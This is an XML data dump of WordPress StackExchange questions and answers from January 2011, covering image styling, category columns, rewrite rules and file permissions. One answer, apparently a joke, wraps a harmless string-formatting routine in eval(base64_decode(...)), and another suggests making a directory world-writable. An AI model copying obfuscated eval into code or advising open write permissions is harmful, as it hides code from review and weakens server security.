  <row Id="6873" PostTypeId="1" AcceptedAnswerId="6879" CreationDate="2011-01-13T09:32:05.963" Score="1" ViewCount="71" Body="&lt;p&gt;I had asked a question earlier, on &lt;a href=&quot;http://wordpress.stackexchange.com/q/6190/1606&quot;&gt;getting post-thumbnails from another WP-site&lt;/a&gt;. There, the awesome &lt;a href=&quot;http://wordpress.stackexchange.com/users/89/mikeschinkel&quot;&gt;Mike&lt;/a&gt; coded a SQL query whose results are then passes on to a PHP array. The piece of code from that answer that I want to modify is this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_urls = $wpdb-&amp;gt;get_col($sql);&#xA;  if (is_array($post_urls))&#xA;    echo implode(&quot;\n&quot;,$post_urls);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the array holds values in the form of &lt;code&gt;&amp;lt;img src=&quot;/link/to/image.jpg&quot;/&amp;gt;&lt;/code&gt;. Now how do I..&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Call the WP &lt;code&gt;image_resize&lt;/code&gt; function on each image URL?&lt;/li&gt;&#xA;&lt;li&gt;Apply my own CSS class to each image?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;http://wordpress.stackexchange.com/users/8/jan-fabry&quot;&gt;Jan&lt;/a&gt; for the tips on optimizing the SQL query. Now the &lt;code&gt;$post_urls&lt;/code&gt; array will hold only plain URLs to the images. Can someone show me how to loop through each URL in the array and add prefixes (like &lt;code&gt;&amp;lt;img src=&quot;&lt;/code&gt;) and suffixes (like &lt;code&gt;&quot; class=&quot;awesome-image&quot;/&amp;gt;&lt;/code&gt;) to each of them?&lt;/p&gt;&#xA;" OwnerUserId="1606" LastEditorUserId="1606" LastEditorDisplayName="" LastEditDate="2011-01-13T13:43:19.790" LastActivityDate="2011-01-14T07:35:08.740" Title="Styling images coming from another blog" Tags="&lt;php&gt;&lt;sidebar&gt;&lt;mysql&gt;&lt;posts&gt;&lt;image&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="6874" PostTypeId="2" ParentId="6867" CreationDate="2011-01-13T09:41:20.483" Score="0" ViewCount="" Body="&lt;p&gt;First, you are mixing up terminology a bit. Portfolio is &lt;code&gt;taxonomy&lt;/code&gt;, but Work, Images, etc are &lt;code&gt;terms&lt;/code&gt; (not &lt;code&gt;categories&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to adjust functions for your taxonomy. Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$catid = get_cat_id('Images');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$catid = get_term_by( 'name', 'Images', 'portfolio' );&#xA;$catid = $catid-&amp;gt;term_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories('child_of='.$catid.'&amp;amp;orderby=name'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories('child_of='.$catid.'&amp;amp;orderby=name&amp;amp;taxonomy=portfolio');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-13T09:41:20.483" CommentCount="1" />
  <row Id="6875" PostTypeId="1" CreationDate="2011-01-13T11:16:30.357" Score="0" ViewCount="58" Body="&lt;p&gt;I have a few questions regarding functionality testing of PBs in a new wp installation (3.0.4):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Are pingbacks sent immediately when a post is published, or are they scheduled as a cron job? If the later is correct, how often does the job run and can I trigger it manually?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any other terms for PBs to be sent besides having &quot;Attempt to notify any blogs linked to from the article&quot; set to on, and of course a link to another blog in the post content? (for example, should the sender post be public and not private? should the blog be non private?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Should the outbound link be placed in the post content or can it be placed in a custom field of the post in order for the PB to be sent?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In case PBs are not sent nor received in my blog, what is the best way to debug and detect the problem?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1567" LastActivityDate="2011-01-13T11:49:29.553" Title="pingbacks testing" Tags="&lt;cron&gt;&lt;testing&gt;&lt;pingbacks&gt;" AnswerCount="1" />
  <row Id="6876" PostTypeId="2" ParentId="6875" CreationDate="2011-01-13T11:49:29.553" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Q: Are pingbacks sent immediately when a post is published, or are they scheduled as a cron job? If the later is correct, how often does the job run and can I trigger it manually?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A: You can install &lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;core control (wordpress plugin)&lt;/a&gt; to find out more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q: Are there any other terms for PBs to be sent besides having &quot;Attempt to notify any blogs linked to from the article&quot; set to on, and of course a link to another blog in the post content? (for example, should the sender post be public and not private? should the blog be non private?)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A: Wordpress can and does not care about external resources being somewhat public or private as  somewhat undefined terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q: Should the outbound link be placed in the post content or can it be placed in a custom field of the post in order for the PB to be sent?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It need to be placed into the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q: In case PBs are not sent nor received in my blog, what is the best way to debug and detect the problem?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log and analyze the in- and outbound network traffic of your site with a focus on HTTP requests to find out more what is going at all and probably going wrong. Additionally, the core control plugin I linked above can be helpful for cron related debugging.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-13T11:49:29.553" CommentCount="4" />
  <row Id="6877" PostTypeId="2" ParentId="6873" CreationDate="2011-01-13T12:08:45.987" Score="3" ViewCount="" Body="&lt;p&gt;I must admit that I do not really know if it is wise to use the power of WP image_resice on HTTP linked images. I would probably formulate an additional question to find out more about needs.Probably something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;How do I display a smaller version of an image I have linked in an HTML IMG tag?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the rest of the magic with PHP, this probably is doing what you're asking for. I found this ancient magic formula which should to the magic according to the book I've found it in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function doing_magic_on($my_very_specific_formatted_string, $my_own_css_class, $magic = 'bGlzdCgkc3RhcnQsICR1cmwsICRlbmQpID0gZXhwbG9kZSgnIicsICRteV92ZXJ5X3NwZWNpZmljX2Zvcm1hdHRlZF9zdHJpbmcpOw0KcmV0dXJuIHNwcmludGYoJyVzJXMiIGNsYXNzPSIlcyVzJywgJHN0YXJ0LCAkdXJsLCAkbXlfb3duX2Nzc19jbGFzcywgJGVuZCk7DQo=') {&#xA;    return eval(base64_decode($magic));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;May the force be with you and good luck improving your magic skills for the future!&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-13T12:08:45.987" CommentCount="4" />
  <row Id="6878" PostTypeId="2" ParentId="6190" CreationDate="2011-01-13T12:18:55.417" Score="2" ViewCount="" Body="&lt;p&gt;Mike's answer is great, but I would use a different SQL query, since the GUID of the attachment post can change when you change servers or move the blog. My version also gives you access to information of the blog post, which is useful if you want to link to it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT post.ID, post.post_title, attachment_meta.meta_value AS upload_relative_path&#xA;FROM {$wpdb-&amp;gt;posts} AS post&#xA;    JOIN {$wpdb-&amp;gt;postmeta} AS post_meta ON (post_meta.post_id = post.ID AND post_meta.meta_key = '_thumbnail_id')&#xA;    JOIN {$wpdb-&amp;gt;postmeta} AS attachment_meta ON (attachment_meta.post_id = post_meta.meta_value AND attachment_meta.meta_key = '_wp_attached_file')&#xA;WHERE post.post_status = 'publish'&#xA;    AND post.post_type = 'post'&#xA;ORDER BY post.post_date DESC&#xA;LIMIT 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of &lt;code&gt;_wp_attached_file&lt;/code&gt; you can also get the &lt;code&gt;_wp_attachment_metadata&lt;/code&gt; value, which contains extra info about the image and alternative sizes.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-13T12:18:55.417" CommentCount="5" />
  <row Id="6879" PostTypeId="2" ParentId="6873" CreationDate="2011-01-13T12:20:29.550" Score="3" ViewCount="" Body="&lt;p&gt;Calling &lt;code&gt;image_resize()&lt;/code&gt; would be difficult, since it would search for the image in your main blog's upload directory. If it is a fixed image size I would just add it to the configuration of your photoblog, so it is created there when you upload new images (you can then &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2888/can-i-refresh-the-thumbnails-programmatically&quot;&gt;rebuild your old image thumbnails&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Mike's answer you see that he adds the &lt;code&gt;&amp;lt;img src=&quot;&lt;/code&gt; and &lt;code&gt;&quot;/&amp;gt;&lt;/code&gt; parts in the SQL query. That's nice, but you don't have to do that. If you leave that off you get just the URL of the image and you can add everything later in PHP. I wrote &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6190/getting-post-thumbnails-from-another-wp-site/6878#6878&quot;&gt;an alternative version that will provide you with more raw information&lt;/a&gt; to play with.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachment_data_list = $wpdb-&amp;gt;get_results( $sql );&#xA;if ( $attachment_data_list ) {&#xA;    foreach ( $attachment_data_list as $attachment_data ) {&#xA;        echo '&amp;lt;img src=&quot;/mysubblog/wp-content/uploads/';&#xA;        echo $attachment_data-&amp;gt;upload_relative_path;&#xA;        echo '&quot;/&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-13T13:51:45.653" LastActivityDate="2011-01-13T13:51:45.653" CommentCount="2" />
  <row Id="6880" PostTypeId="2" ParentId="5390" CreationDate="2011-01-13T12:37:46.777" Score="1" ViewCount="" Body="&lt;p&gt;One problem if you change the ownership of the directory is that maybe (depending on the permissions) you won't be able to modify anything in it. You can do two things to give &lt;code&gt;nobody&lt;/code&gt; access to this folder: either you &lt;code&gt;chown&lt;/code&gt; the folder to &lt;code&gt;nobody&lt;/code&gt;, as suggested, but you can also change the file mode (access control) of the directory with &lt;code&gt;chmod&lt;/code&gt; so that anyone (including &lt;code&gt;nobody&lt;/code&gt;) can write in it. If you have even more control over your server you could create a group that includes you and &lt;code&gt;nobody&lt;/code&gt;, and give this group access to write in the directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;chmod&lt;/code&gt; method is used most often, as it works with most hosts. Check your &lt;code&gt;wp-config/uploads/&lt;/code&gt; directory, probably everyone has read and write permissions there too.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-13T12:37:46.777" />
  <row Id="6881" PostTypeId="1" CreationDate="2011-01-13T13:29:16.337" Score="2" ViewCount="154" Body="&lt;p&gt;By default, the post list (edit.php) in the admin panel displays a couple of options. It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All (10) | Published (8) | Scheduled (1) | Draft (1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change this to display different types of posts, either by a custom taxonomy or by category. What I want it to look like is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Articles (5) | Releases (5) | Scheduled (1) | Draft (1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the default when opening the Posts list should only include posts marked as articles, while the posts marked as releases should be in another window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to change this? I've been trying for a while, but can't figure it out.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-13T19:27:39.797" Title="Display types of posts in edit.php instead of All, Published, Scheduled and Draft" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;categories&gt;&lt;posts&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="6882" PostTypeId="2" ParentId="5342" CreationDate="2011-01-13T13:56:27.960" Score="4" ViewCount="" Body="&lt;p&gt;Another chance to recommend &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1463/resizing-images-to-the-actual-size-used-in-the-editor/4012#4012&quot;&gt;two plugins I created&lt;/a&gt; that together will do what you want. &lt;strong&gt;Virtual intermediate images&lt;/strong&gt; will intercept the creation of the intermediate image sizes: they will not be created on disk, but still exist in the metadata array. This makes WordPress think they exist so you can use them like normal images. The companion plugin, &lt;strong&gt;On-Demand Resizer&lt;/strong&gt; will create missing image sizes when they are requested. The first time the image is requested it is created, all subsequent requests will just be served the newly created image.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-13T13:56:27.960" />
  <row Id="6883" PostTypeId="1" AcceptedAnswerId="6885" CreationDate="2011-01-13T13:58:13.517" Score="0" ViewCount="173" Body="&lt;p&gt;I've done this with posts, but I can't find the proper way to reference the category table's columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to add a column titled &quot;Image&quot; to the table, so that when the table grid of categories is displayed, if there is a category image assigned to the category, it will appear in the grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first step for me is to determine the proper filter to address in order to insert the columb into the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried each of these to no avail...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('manage_categories_columns', 'myFunction', 10, 2);&#xA;add_filter('manage_category_columns', 'myFunction', 10, 2);&#xA;&#xA;function myFunction($cat_columns)&#xA;{&#xA;    $cat_columns['cat_image_thumb'] = 'Image';&#xA;    return $cat_columns;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-13T14:05:03.930" Title="How can I add a custom column to the &quot;Manage Categories&quot; table?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="6884" PostTypeId="1" CreationDate="2011-01-13T14:02:34.040" Score="1" ViewCount="167" Body="&lt;p&gt;I've created a custom post section and removed all of the default items (title, editor, etc...) using add_action and added my own custom meta boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Issue:&#xA;Since i've removed the default Title box there's no way to get back into the post since it shows the custom meta box content in custom columns on the top level of the section:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/pKrmI.png&quot; alt=&quot;Custom Meta Column Display&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Question:&#xA;How do I add the &quot;Edit | Quick Edit | Trash | View&quot; options to the custom column like WordPress does by default with the Title?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code being used for section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'addchic_register');&#xA;&#xA;function addchic_register() {&#xA;&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Addy Chicken', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Addy Chicken', 'post type singular name'),&#xA;        'add_new' =&amp;gt; _x('Add New', 'addchic item'),&#xA;        'add_new_item' =&amp;gt; __('Add New Convo Item'),&#xA;        'edit_item' =&amp;gt; __('Edit Convo Item'),&#xA;        'new_item' =&amp;gt; __('New Convo Item'),&#xA;        'view_item' =&amp;gt; __('View Convos Item'),&#xA;        'search_items' =&amp;gt; __('Search Convos'),&#xA;        'not_found' =&amp;gt;  __('Nothing found'),&#xA;        'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        /*'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/article16.png',*/&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'supports' =&amp;gt; array('')&#xA;      ); &#xA;&#xA;    register_post_type( 'addchic' , $args );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Meta boxes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box(&quot;addy_meta&quot;, &quot;Addy&quot;, &quot;addy_meta&quot;, &quot;addchic&quot;, &quot;normal&quot;, &quot;low&quot;);&#xA;&#xA;&#xA;function addy_meta(){&#xA;  global $post;&#xA;  $custom = get_post_custom($post-&amp;gt;ID);&#xA;  $addy = $custom[&quot;addy&quot;][0];&#xA;  ?&amp;gt;&#xA;  &amp;lt;input size=&quot;100&quot; name=&quot;addy&quot; value=&quot;&amp;lt;?php echo $addy; ?&amp;gt;&quot; /&amp;gt;&#xA;  &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2011-02-12T14:37:10.107" Title="Add common Post Actions to Custom Meta Column" Tags="&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="6885" PostTypeId="2" ParentId="6883" CreationDate="2011-01-13T14:05:03.930" Score="1" ViewCount="" Body="&lt;p&gt;The filter is &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/includes/template.php#L761&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;manage_{$screen-&amp;gt;id}_columns&lt;/code&gt;&lt;/a&gt;, and &lt;code&gt;$screen-&amp;gt;id&lt;/code&gt; is &lt;code&gt;edit-category&lt;/code&gt;, giving you &lt;code&gt;manage_edit-category_columns&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this by placing a &lt;code&gt;var_dump()&lt;/code&gt; in &lt;code&gt;get_column_headers()&lt;/code&gt;, which is called by &lt;code&gt;print_column_headers()&lt;/code&gt;, which is called in &lt;code&gt;wp-admin/edit-tags.php&lt;/code&gt;, the page where you edit the category items.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-13T14:05:03.930" CommentCount="10" />
  <row Id="6886" PostTypeId="2" ParentId="6881" CreationDate="2011-01-13T14:07:31.183" Score="0" ViewCount="" Body="&lt;p&gt;Changing this area for what you want seems to be very complex. These links are generated from post statuses (no taxonomies in sight) and I don't see any hooks nearby that might be useful to altering this part of template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one possibility would be to generate links you want (should be doable, since admin pages are ruled by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;query arguments&lt;/a&gt; in URLs just as regular ones) and add them with JavaScript. Since this is not my area of expertise I am not too qualified to write specific JS code.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-13T14:07:31.183" CommentCount="3" />
  <row Id="6887" PostTypeId="2" ParentId="6884" CreationDate="2011-01-13T14:12:28.497" Score="1" ViewCount="" Body="&lt;p&gt;I don't think there is an easy way to get that part, it's created in the &lt;code&gt;_post_row()&lt;/code&gt; function together with the title column. You'll have to copy &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/includes/template.php#L1342&quot; rel=&quot;nofollow&quot;&gt;that part of the code&lt;/a&gt; in your own column callback.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-13T14:12:28.497" CommentCount="1" />
  <row Id="6888" PostTypeId="2" ParentId="6884" CreationDate="2011-01-13T14:16:00.773" Score="1" ViewCount="" Body="&lt;p&gt;I had not verified this in practice, but basic idea would be to &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column&quot; rel=&quot;nofollow&quot;&gt;add custom column&lt;/a&gt; and reuse code from &lt;code&gt;_post_row()&lt;/code&gt; function that generates actions in it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-13T14:16:00.773" CommentCount="1" />
  <row Id="6889" PostTypeId="2" ParentId="6859" CreationDate="2011-01-13T14:25:33.447" Score="0" ViewCount="" Body="&lt;p&gt;If you want to show the data in the excel as an HTML table, you may need to add extra table in the WP database and export the data in the excel file there. Then pull the content of that table, paginate it and return it as a shortcode, so you could easily put it in a post or even inside a custom template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jeff Star at Preshible Press has written something like that. And though, he used preexisting table; creating a new table and following the rest of the tutorial is not that painful. Here is the link: &lt;a href=&quot;http://perishablepress.com/press/2010/11/04/importing-wordpress-users-via-csv-files/&quot; rel=&quot;nofollow&quot;&gt;http://perishablepress.com/press/2010/11/04/importing-wordpress-users-via-csv-files/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="2474" LastActivityDate="2011-01-13T14:25:33.447" CommentCount="1" />
  <row Id="6890" PostTypeId="1" AcceptedAnswerId="6915" CreationDate="2011-01-13T14:51:21.960" Score="0" ViewCount="161" Body="&lt;p&gt;How can I add three menus to &lt;a href=&quot;http://diythemes.com/thesis/&quot; rel=&quot;nofollow&quot;&gt;the Thesis theme&lt;/a&gt;? I want a menu above the header image, one below the header image and one in the footer. A neat step by step instruction &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2757/creating-multiple-menus-when-using-the-twentyten-theme/2760#2760&quot;&gt;like this for Twenty Ten&lt;/a&gt; would be like the coolest answer.&lt;/p&gt;&#xA;" OwnerUserId="2476" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-13T15:48:57.110" LastActivityDate="2011-04-18T04:03:51.877" Title="Creating Multiple Menus in the Thesis Theme?" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;&lt;theme-thesis&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="6891" PostTypeId="1" AcceptedAnswerId="6895" CreationDate="2011-01-13T15:22:21.420" Score="1" ViewCount="578" Body="&lt;p&gt;In my WordPress plugin I have a php file that generates some stats about the blog and outputs it as a simple text file. To access WordPress functions I've included this at the top of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_USE_THEMES', false);&#xA;require(dirname(__FILE__) . '/../../../wp-blog-header.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I'd like to hide the actual URL, since it's in the wp-content/plugins directory and replace it with something nice and short:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/wp-content/plugin/data-fetcher/list-data.php&#xA;&#xA;-&amp;gt; rewrite to http://example.com/list-data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added this to &lt;code&gt;.htaccess&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine on&#xA;RewriteBase /&#xA;RewriteRule ^list-data$ wp-content/plugins/data-fetcher/list-data.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem: when I access the short URL, I get a 301 Moved Permanently redirect before I end up on the page. This means that the wp-content/plugins/... URL is revealed in the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that WordPress is initiating this somehow. The rewrite rule works fine for images and plain php files (i.e. without WP includes/require).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my assumption correct? How can I prevent WordPress from sending the redirect?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-13T16:31:48.400" LastActivityDate="2011-01-14T15:11:17.290" Title="Making a plugin file accessible via url rewrite?" Tags="&lt;plugin-development&gt;&lt;redirect&gt;&lt;url-rewriting&gt;&lt;mod-rewrite&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="6893" PostTypeId="2" ParentId="3015" CreationDate="2011-01-13T15:32:01.813" Score="0" ViewCount="" Body="&lt;p&gt;Yes, this will give issues. The four rewrite rules that are generated by the custom taxonomy are also used by the custom post type. The one that you register first gets overwritten by the one that you register after that. Depending on the exact configuration (hierarchical vs. non-hierarchical) similar rules might end up in the final rewrite rules list, but only the first one will &quot;win&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can have the effect that &lt;code&gt;/people/seth-godin/&lt;/code&gt; queries for a custom taxonomy but &lt;code&gt;/people/seth-godin/page/2/&lt;/code&gt; queries for a custom post type.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-13T15:32:01.813" />
  <row Id="6894" PostTypeId="2" ParentId="5342" CreationDate="2011-01-13T15:49:09.000" Score="4" ViewCount="" Body="&lt;p&gt;A simple answer is that you can remove 2 unused sizes by enter 0 for their width or height. For example, you need only the small thumbnail 150x150 and full-sized image, so enter 0 for width and height of Medium and Large sizez.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-01-13T15:49:09.000" CommentCount="1" />
  <row Id="6895" PostTypeId="2" ParentId="6891" CreationDate="2011-01-13T15:49:11.057" Score="2" ViewCount="" Body="&lt;p&gt;Mark,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hate to say it, but you're going about this the wrong way.  PHP files in your plug-in should &lt;em&gt;never&lt;/em&gt; be accessed directly in this way.  Instead, they should be loaded from within WordPress just like everything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some alternative paths you could take:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create an admin page that displays your stats&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a page accessible from within WordPress by authenticated users only.  If you use the correct API, this page will look very clean and will display your simple stats however you want.  Since it's inside WordPress to begin with, you'll already have access to the entire WP API without needing to load &lt;code&gt;wp-blog-header.php&lt;/code&gt; directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use your existing system, but register the rewrite with WordPress&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should never modify your &lt;code&gt;.htaccess&lt;/code&gt; file directly.  This file can be changed when you add new plug-ins or change your permalink structure, meaning you'll lose your customizations.  Instead, you can create a custom rewrite by making a function call within WordPress itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'my_rewrite' );&#xA;function my_rewrite() {&#xA;    global $wp_rewrite;&#xA;&#xA;    add_rewrite_rule('list-data/$', '/wp-content/plugins/data-fetcher/list-data.php', 'top');&#xA;    $wp_rewrite-&amp;gt;flush_rules(true);  // This should really be done in a plugin activation&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add your custom rule to the top of the WordPress rewrite rules and should skip any other redirects WordPress matches against the regex.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Edit 1/14/11&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For a great example of how you can implement this kind of simple rewriting in a plug-in, check out Ozh's latest tutorial on redirecting a pretty login URL:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ozh.in/uf&quot; rel=&quot;nofollow&quot;&gt;Pretty Login URL: a Simple Rewrite API Plugin Example&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-01-14T15:11:17.290" LastActivityDate="2011-01-14T15:11:17.290" CommentCount="5" />
  <row Id="6896" PostTypeId="2" ParentId="3083" CreationDate="2011-01-13T15:49:30.573" Score="4" ViewCount="" Body="&lt;p&gt;It appears that this idea is being addressed in trac:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/13054&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/13054&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2011-01-13T15:49:30.573" />
